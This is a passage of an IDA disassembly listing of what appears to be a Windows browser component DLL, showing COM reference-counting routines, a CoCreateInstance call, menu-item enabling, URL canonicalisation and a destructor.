loc_69B7E38F: ; CODE XREF: sub_69B7E2EC+9Bj
mov eax, [edi]
push edi
mov [esi+8], ebx
call dword ptr [eax+8]
push [ebp+var_4]
call dword_69B92944
loc_69B7E3A1: ; CODE XREF: sub_69B7E2EC+10j
lea edi, [esi+4]
push edi ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
test eax, eax
jnz short loc_69B7E3DB
call dword_69B92948
mov edi, eax
cmp edi, ebx
jnz short loc_69B7E3C2
loc_69B7E3BB: ; CODE XREF: sub_69B7E2EC+21j
mov eax, 80004005h
jmp short loc_69B7E3DD
; ---------------------------------------------------------------------------
loc_69B7E3C2: ; CODE XREF: sub_69B7E2EC+CDj
lea ecx, [esi-18h]
cmp ecx, ebx
jz short loc_69B7E3D0
mov eax, [ecx]
push 1
call dword ptr [eax+24h]
loc_69B7E3D0: ; CODE XREF: sub_69B7E2EC+DBj
push edi
call dword_69B92944
xor eax, eax
jmp short loc_69B7E3DD
; ---------------------------------------------------------------------------
loc_69B7E3DB: ; CODE XREF: sub_69B7E2EC+C1j
mov eax, [edi]
loc_69B7E3DD: ; CODE XREF: sub_69B7E2EC+D4j
; sub_69B7E2EC+EDj
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B7E2EC endp
; =============== S U B R O U T I N E =======================================
sub_69B7E3E4 proc near ; CODE XREF: .text:69B7F3E3j
; DATA XREF: .text:69B1462Co
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
mov esi, offset dword_69B14600
movsd
movsd
movsd
movsd
pop edi
xor eax, eax
pop esi
retn 8
sub_69B7E3E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7E3FA proc near ; DATA XREF: .text:69B14640o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+2Ch]
mov ecx, [esp+arg_4]
mov [ecx], eax
xor eax, eax
retn 8
sub_69B7E3FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E40C proc near ; DATA XREF: .text:69B2A730o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B180
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E456
cmp [ebp+var_4], 0
jz short loc_69B7E463
add esi, 0FFFFFFF8h
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7E456: ; CODE XREF: sub_69B7E40C+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E463
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E463: ; CODE XREF: sub_69B7E40C+28j
; sub_69B7E40C+4Fj
mov eax, edi
pop edi
pop esi
leave
retn 0Ch
sub_69B7E40C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E46B proc near ; DATA XREF: .text:69B2A734o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B180
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E4B2
cmp [ebp+var_4], 0
jz short loc_69B7E4BF
add esi, 0FFFFFFF8h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7E4B2: ; CODE XREF: sub_69B7E46B+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E4BF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E4BF: ; CODE XREF: sub_69B7E46B+28j
; sub_69B7E46B+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7E46B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E4C7 proc near ; DATA XREF: .text:69B2A738o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B180
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E50E
cmp [ebp+var_4], 0
jz short loc_69B7E51B
add esi, 0FFFFFFF8h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7E50E: ; CODE XREF: sub_69B7E4C7+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E51B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E51B: ; CODE XREF: sub_69B7E4C7+28j
; sub_69B7E4C7+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7E4C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E523 proc near ; DATA XREF: .text:69B2A73Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+18h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B180
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E56A
cmp [ebp+var_4], 0
jz short loc_69B7E577
add esi, 0FFFFFFF8h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7E56A: ; CODE XREF: sub_69B7E523+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E577
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E577: ; CODE XREF: sub_69B7E523+28j
; sub_69B7E523+4Cj
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B7E523 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E57F proc near ; DATA XREF: .text:69B2A74Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+1Ch]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset nullsub_2
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E5CF
cmp [ebp+var_4], 0
jz short loc_69B7E5DC
add esi, 0FFFFFFFCh
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [ebp+arg_10]
mov eax, [ebp+var_4]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7E5CF: ; CODE XREF: sub_69B7E57F+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E5DC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E5DC: ; CODE XREF: sub_69B7E57F+28j
; sub_69B7E57F+55j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_69B7E57F endp
; ---------------------------------------------------------------------------
loc_69B7E5E4: ; DATA XREF: .text:69B2A6BCo
mov eax, [esp+8]
mov ecx, [esp+4]
add ecx, 0FFFFFFF0h
mov word ptr [eax], 4000h
mov [eax+8], ecx
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E5FC proc near ; CODE XREF: sub_69B81EBA+C6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push esi
mov esi, [ebp+arg_8]
mov eax, [esi]
push edi
push [ebp+arg_0]
mov edi, offset aXmlbufferstrea ; "XMLBufferStream"
push edi
push esi
mov ebx, ecx
call dword ptr [eax+24h]
test eax, eax
mov [ebp+arg_8], eax
jl short loc_69B7E64B
mov eax, [ebx]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2AFA0
push ebx
call dword ptr [eax]
test eax, eax
mov [ebp+arg_8], eax
jl short loc_69B7E64B
mov eax, [ebp+var_4]
mov ecx, [eax]
push 0
push esi
push [ebp+arg_4]
push 0
push eax
call dword ptr [ecx+14h]
mov [ebp+arg_8], eax
loc_69B7E64B: ; CODE XREF: sub_69B7E5FC+24j
; sub_69B7E5FC+39j
mov eax, [esi]
push edi
push esi
call dword ptr [eax+30h]
mov eax, [ebp+var_4]
test eax, eax
pop edi
pop esi
pop ebx
jz short loc_69B7E662
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E662: ; CODE XREF: sub_69B7E5FC+5Ej
mov eax, [ebp+arg_8]
leave
retn 0Ch
sub_69B7E5FC endp
; =============== S U B R O U T I N E =======================================
sub_69B7E669 proc near ; CODE XREF: sub_69B80057+3Ap
push esi
mov esi, ecx
push edi
lea edi, [esi+20h]
mov eax, [edi]
test eax, eax
jz short loc_69B7E67C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E67C: ; CODE XREF: sub_69B7E669+Bj
mov eax, [esi+24h]
and dword ptr [edi], 0
test eax, eax
jz short loc_69B7E68C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E68C: ; CODE XREF: sub_69B7E669+1Bj
and dword ptr [esi+24h], 0
push edi ; ppv
push offset stru_69B1CA6C ; riid
push 1 ; dwClsContext
push dword ptr [esi+38h] ; pUnkOuter
push offset stru_69B7E6AC ; rclsid
call ds:CoCreateInstance
pop edi
pop esi
retn
sub_69B7E669 endp
; ---------------------------------------------------------------------------
align 4
; CLSID stru_69B7E6AC
stru_69B7E6AC dd 25336920h ; Data1 ; DATA XREF: sub_69B7E669+32o
dw 3F9h ; Data2
dw 11CFh ; Data3
db 8Fh, 0D0h, 0, 0AAh, 0, 68h, 6Fh, 13h; Data4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B81644
loc_69B7E6BC: ; CODE XREF: sub_69B81644+5j
push esi
mov esi, ecx
cmp dword ptr [esi+20h], 0
jz short loc_69B7E6CE
mov eax, [esi+20h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B7E6CE: ; CODE XREF: sub_69B81644-2F81j
mov eax, [esi+20h]
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B81644
; =============== S U B R O U T I N E =======================================
sub_69B7E6D3 proc near ; CODE XREF: sub_69B7EB86+34p
; sub_69B7F4AC+1Dp ...
push esi
mov esi, ecx
mov ecx, [esi+34h]
test ecx, ecx
jz short loc_69B7E6F7
push 0
push 0
call sub_69B81633
mov eax, [esi+34h]
test eax, eax
jz short loc_69B7E6F3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E6F3: ; CODE XREF: sub_69B7E6D3+18j
and dword ptr [esi+34h], 0
loc_69B7E6F7: ; CODE XREF: sub_69B7E6D3+8j
pop esi
retn
sub_69B7E6D3 endp
; =============== S U B R O U T I N E =======================================
sub_69B7E6F9 proc near ; CODE XREF: sub_69B7F442+5Dp
push esi
mov esi, ecx
mov ecx, [esi+28h]
test ecx, ecx
jz short loc_69B7E719
call sub_69B7E177
mov eax, [esi+28h]
test eax, eax
jz short loc_69B7E715
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E715: ; CODE XREF: sub_69B7E6F9+14j
and dword ptr [esi+28h], 0
loc_69B7E719: ; CODE XREF: sub_69B7E6F9+8j
pop esi
retn
sub_69B7E6F9 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B7E71B(HMENU hMenu)
sub_69B7E71B proc near ; CODE XREF: sub_69B7E71B+43p
; sub_69B803AC+1D9p
hMenu = dword ptr 4
push ebp
push edi
mov edi, [esp+8+hMenu]
test edi, edi
mov ebp, ecx
jz short loc_69B7E798
push ebx
push esi
push edi ; hMenu
call GetMenuItemCount ; GetMenuItemCount
mov ebx, eax
xor esi, esi
test ebx, ebx
jle short loc_69B7E796
loc_69B7E738: ; CODE XREF: sub_69B7E71B+79j
push 400h ; uFlags
push esi ; uId
push edi ; hMenu
call GetMenuState ; GetMenuState
cmp eax, 0FFFFFFFFh
jz short loc_69B7E791
mov ecx, eax
shr ecx, 8
test cl, cl
jz short loc_69B7E765
push esi ; nPos
push edi ; hMenu
call GetSubMenu ; GetSubMenu
push eax ; hMenu
mov ecx, ebp
call sub_69B7E71B
jmp short loc_69B7E791
; ---------------------------------------------------------------------------
loc_69B7E765: ; CODE XREF: sub_69B7E71B+36j
test al, 60h
jnz short loc_69B7E791
push esi ; nPos
push edi ; hMenu
call GetMenuItemID ; GetMenuItemID
cmp eax, 0FFFFFFFFh
jz short loc_69B7E791
cmp eax, 0E19h
jb short loc_69B7E791
cmp eax, 0E73h
ja short loc_69B7E791
push 401h ; uEnable
push esi ; uIDEnableItem
push edi ; hMenu
call EnableMenuItem ; EnableMenuItem
loc_69B7E791: ; CODE XREF: sub_69B7E71B+2Dj
; sub_69B7E71B+48j ...
inc esi
cmp esi, ebx
jl short loc_69B7E738
loc_69B7E796: ; CODE XREF: sub_69B7E71B+1Bj
pop esi
pop ebx
loc_69B7E798: ; CODE XREF: sub_69B7E71B+Aj
pop edi
pop ebp
retn 4
sub_69B7E71B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E79D proc near ; CODE XREF: sub_69B7FF98+7Bp
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
pszPath = dword ptr -10h
lpString = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
and [ebp+var_1C], 0
and [ebp+lpString], 0
push edi
xor eax, eax
lea edi, [ebp+var_18]
stosd
stosd
stosd
stosd
stosd
mov eax, [ecx+24h]
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+0F4h]
test eax, eax
pop edi
jl short loc_69B7E836
push esi
mov esi, [ebp+lpString]
test esi, esi
jz short loc_69B7E835
push esi ; lpString
call ds:lstrlenW ; lstrlenW
test eax, eax
jz short loc_69B7E835
cmp word ptr [esi+eax*2-2], 2Fh
jz short loc_69B7E835
lea eax, [ebp+var_1C]
push eax
push esi
mov [ebp+var_1C], 18h
call ds:SHLWAPI_2
test eax, eax
jl short loc_69B7E835
push 3Fh
push [ebp+pszPath]
call sub_69B84CDD
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B7E812
and word ptr [esi], 0
loc_69B7E812: ; CODE XREF: sub_69B7E79D+6Fj
push 104h
push [ebp+pszPath] ; pszPath
call ds:PathFindFileNameW ; PathFindFileNameW
push eax
push [ebp+arg_0]
call sub_69B84CA0
add esp, 0Ch
test esi, esi
jz short loc_69B7E835
mov word ptr [esi], 3Fh
loc_69B7E835: ; CODE XREF: sub_69B7E79D+34j
; sub_69B7E79D+3Fj ...
pop esi
loc_69B7E836: ; CODE XREF: sub_69B7E79D+2Cj
push [ebp+lpString] ; BSTR
call SysFreeString
leave
retn 4
sub_69B7E79D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7E843(OLECHAR *)
sub_69B7E843 proc near ; CODE XREF: sub_69B7FF98+A0p
var_14 = word ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
and [ebp+var_4], 0
push esi
push edi
push [ebp+arg_0] ; OLECHAR *
mov esi, ecx
call SysAllocString
mov edi, eax
test edi, edi
jz short loc_69B7E8AD
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset nullsub_2
push eax
call dword ptr [ecx]
test eax, eax
mov [ebp+arg_0], eax
jl short loc_69B7E8B4
mov eax, [esi]
push esi
mov [ebp+var_14], 8
mov [ebp+var_C], edi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
mov ecx, [eax]
push 0
lea edx, [ebp+var_14]
push edx
push 0
push 942h
push offset dword_69B2AEE0
push eax
call dword ptr [ecx+10h]
mov [ebp+arg_0], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B7E8B4
; ---------------------------------------------------------------------------
loc_69B7E8AD: ; CODE XREF: sub_69B7E843+1Bj
mov [ebp+arg_0], 8007000Eh
loc_69B7E8B4: ; CODE XREF: sub_69B7E843+33j
; sub_69B7E843+68j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E8C1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E8C1: ; CODE XREF: sub_69B7E843+76j
and [ebp+var_4], 0
test edi, edi
jz short loc_69B7E8D0
push edi ; BSTR
call SysFreeString
loc_69B7E8D0: ; CODE XREF: sub_69B7E843+84j
mov eax, [ebp+arg_0]
pop edi
pop esi
leave
retn 4
sub_69B7E843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E8D9 proc near ; CODE XREF: sub_69B7F4D3+1Fp
; sub_69B803AC+A2p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov esi, ecx
mov eax, [esi]
xor edi, edi
push esi
mov [ebp+var_C], edi
mov [ebp+var_8], edi
mov [ebp+var_4], edi
call dword ptr [eax+4]
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset dword_69B2B160
push eax
xor ebx, ebx
call dword ptr [ecx]
test eax, eax
jl short loc_69B7E946
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push eax
call dword ptr [ecx+10h]
test eax, eax
jl short loc_69B7E946
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B150
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B7E946
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_10]
push edx
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jl short loc_69B7E946
mov ebx, [ebp+var_10]
loc_69B7E946: ; CODE XREF: sub_69B7E8D9+31j
; sub_69B7E8D9+42j ...
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebp+var_4]
cmp eax, edi
jz short loc_69B7E959
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E959: ; CODE XREF: sub_69B7E8D9+78j
mov eax, [ebp+var_8]
cmp eax, edi
mov [ebp+var_4], edi
jz short loc_69B7E969
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E969: ; CODE XREF: sub_69B7E8D9+88j
mov eax, [ebp+var_C]
cmp eax, edi
mov [ebp+var_8], edi
jz short loc_69B7E979
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E979: ; CODE XREF: sub_69B7E8D9+98j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_69B7E8D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E980 proc near ; CODE XREF: sub_69B7F789+2Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
mov esi, ecx
cmp dword ptr [esi+20h], 0
jnz short loc_69B7E99D
mov eax, 80004005h
jmp short loc_69B7EA13
; ---------------------------------------------------------------------------
loc_69B7E99D: ; CODE XREF: sub_69B7E980+14j
mov eax, [esi]
push edi
push esi
call dword ptr [eax+4]
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push (offset loc_69B2B07C+4)
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7E9EC
mov eax, [ebp+var_8]
test eax, eax
jnz short loc_69B7E9C9
loc_69B7E9C2: ; CODE XREF: sub_69B7E980+61j
mov edi, 80004003h
jmp short loc_69B7E9EC
; ---------------------------------------------------------------------------
loc_69B7E9C9: ; CODE XREF: sub_69B7E980+40j
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1B0h]
mov edi, eax
test edi, edi
jl short loc_69B7E9EC
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E9C2
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+40h]
loc_69B7E9EC: ; CODE XREF: sub_69B7E980+39j
; sub_69B7E980+47j ...
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7E9FF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E9FF: ; CODE XREF: sub_69B7E980+77j
mov eax, [ebp+var_8]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B7EA10
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EA10: ; CODE XREF: sub_69B7E980+88j
mov eax, edi
pop edi
loc_69B7EA13: ; CODE XREF: sub_69B7E980+1Bj
pop esi
leave
retn 4
sub_69B7E980 endp
; =============== S U B R O U T I N E =======================================
sub_69B7EA18 proc near ; DATA XREF: .text:69B1C768o
; .text:69B1C778o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 10h
call sub_69B11E44
test eax, eax
jz short loc_69B7EA34
push 0
push 0
mov ecx, eax
call sub_69B8215B
mov esi, eax
jmp short loc_69B7EA36
; ---------------------------------------------------------------------------
loc_69B7EA34: ; CODE XREF: sub_69B7EA18+Bj
xor esi, esi
loc_69B7EA36: ; CODE XREF: sub_69B7EA18+1Aj
test esi, esi
jnz short loc_69B7EA41
mov edi, 8007000Eh
jmp short loc_69B7EA5A
; ---------------------------------------------------------------------------
loc_69B7EA41: ; CODE XREF: sub_69B7EA18+20j
push [esp+8+arg_4]
mov eax, [esi]
push [esp+0Ch+arg_0]
push esi
call dword ptr [eax]
mov edi, eax
test edi, edi
jnz short loc_69B7EA5A
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EA5A: ; CODE XREF: sub_69B7EA18+27j
; sub_69B7EA18+3Aj
mov eax, edi
pop edi
pop esi
retn 8
sub_69B7EA18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EA61 proc near ; CODE XREF: sub_69B7FB0F+21Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push ebx
push edi
lea edx, [ebp+var_4]
push edx
xor ebx, ebx
push offset dword_69B2B040
mov edi, ecx
mov ecx, [eax]
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
call dword ptr [ecx]
cmp eax, ebx
mov [ebp+arg_0], eax
jl loc_69B7EB7D
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push (offset loc_69B2B07C+4)
push offset dword_69B2AEF0
push eax
call dword ptr [ecx+0Ch]
cmp eax, ebx
mov [ebp+arg_0], eax
jl loc_69B7EB74
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+0A0h]
mov [ebp+arg_0], eax
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
cmp [ebp+arg_0], ebx
jl loc_69B7EB74
push esi
push 1048h
call sub_69B11E44
mov esi, eax
cmp esi, ebx
jz short loc_69B7EB14
push 10000000h
lea eax, [ebp+var_10]
push eax
push esi
push [ebp+var_C]
mov [ebp+var_10], 824h
call ds:UrlCanonicalizeW ; UrlCanonicalizeW
push esi ; OLECHAR *
call SysAllocString
push esi
mov [edi+0Ch], eax
call sub_69B1B2B7
loc_69B7EB14: ; CODE XREF: sub_69B7EA61+87j
cmp [edi+0Ch], ebx
jnz short loc_69B7EB20
mov [ebp+arg_0], 8007000Eh
loc_69B7EB20: ; CODE XREF: sub_69B7EA61+B6j
push [ebp+var_C] ; BSTR
call SysFreeString
cmp [ebp+arg_0], ebx
jl short loc_69B7EB73
mov ecx, [ebp+var_4]
mov edx, [ecx]
lea esi, [edi+10h]
push esi
mov eax, offset stru_69B2AF10
push eax
push eax
push ecx
call dword ptr [edx+0Ch]
mov esi, [esi]
cmp esi, ebx
jz short loc_69B7EB73
lea ecx, [ebp+var_10]
push ecx
push offset stru_69B1CA6C
mov [edi+14h], ebx
mov eax, [esi]
push esi
call dword ptr [eax]
test eax, eax
jge short loc_69B7EB66
mov dword ptr [edi+14h], 1
jmp short loc_69B7EB73
; ---------------------------------------------------------------------------
loc_69B7EB66: ; CODE XREF: sub_69B7EA61+FAj
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_69B7EB73
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EB73: ; CODE XREF: sub_69B7EA61+CBj
; sub_69B7EA61+E5j ...
pop esi
loc_69B7EB74: ; CODE XREF: sub_69B7EA61+4Dj
; sub_69B7EA61+72j
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EB7D: ; CODE XREF: sub_69B7EA61+2Bj
mov eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn 4
sub_69B7EA61 endp
; =============== S U B R O U T I N E =======================================
sub_69B7EB86 proc near ; CODE XREF: sub_69B7FAF4+3p
push esi
mov esi, ecx
push edi
mov dword ptr [esi], offset off_69B14620
mov dword ptr [esi+4], offset off_69B2A740
mov dword ptr [esi+8], offset off_69B2A720
mov dword ptr [esi+0Ch], offset off_69B2A6C0
mov dword ptr [esi+10h], offset off_69B2A6B0
mov dword ptr [esi+14h], offset off_69B2A6A4
mov dword ptr [esi+18h], offset off_69B2A698
call sub_69B7E6D3
mov eax, [esi+24h]
xor edi, edi
cmp eax, edi
jz short loc_69B7EBCE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EBCE: ; CODE XREF: sub_69B7EB86+40j
mov eax, [esi+28h]
cmp eax, edi
mov [esi+24h], edi
jz short loc_69B7EBDE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EBDE: ; CODE XREF: sub_69B7EB86+50j
mov eax, [esi+2Ch]
cmp eax, edi
mov [esi+28h], edi
jz short loc_69B7EBEE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EBEE: ; CODE XREF: sub_69B7EB86+60j
mov eax, [esi+20h]
cmp eax, edi
mov [esi+2Ch], edi
jz short loc_69B7EBFE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EBFE: ; CODE XREF: sub_69B7EB86+70j
mov eax, [esi+3Ch]
cmp eax, edi
mov [esi+20h], edi
jz short loc_69B7EC0E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EC0E: ; CODE XREF: sub_69B7EB86+80j
mov eax, [esi+30h]
cmp eax, edi
mov [esi+3Ch], edi
jz short loc_69B7EC22
push eax ; hObject
call ds:CloseHandle ; CloseHandle
mov [esi+30h], edi
loc_69B7EC22: ; CODE XREF: sub_69B7EB86+90j
push offset dword_69B9B684 ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
cmp dword_69B9B684, edi
pop edi
pop esi
jnz sub_69B2C65C
call sub_69B1E533
jmp sub_69B2C65C
sub_69B7EB86 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7EC45 proc near ; DATA XREF: .text:69B2A6CCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+14h]
mov ecx, [eax]
push edi
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B160
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7EC8C
cmp [ebp+var_4], 0
jz short loc_69B7EC99
add esi, 0FFFFFFF4h
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B7EC8C: ; CODE XREF: sub_69B7EC45+22j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7EC99
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7EC99: ; CODE XREF: sub_69B7EC45+28j
; sub_69B7EC45+4Cj
mov eax, edi
pop edi
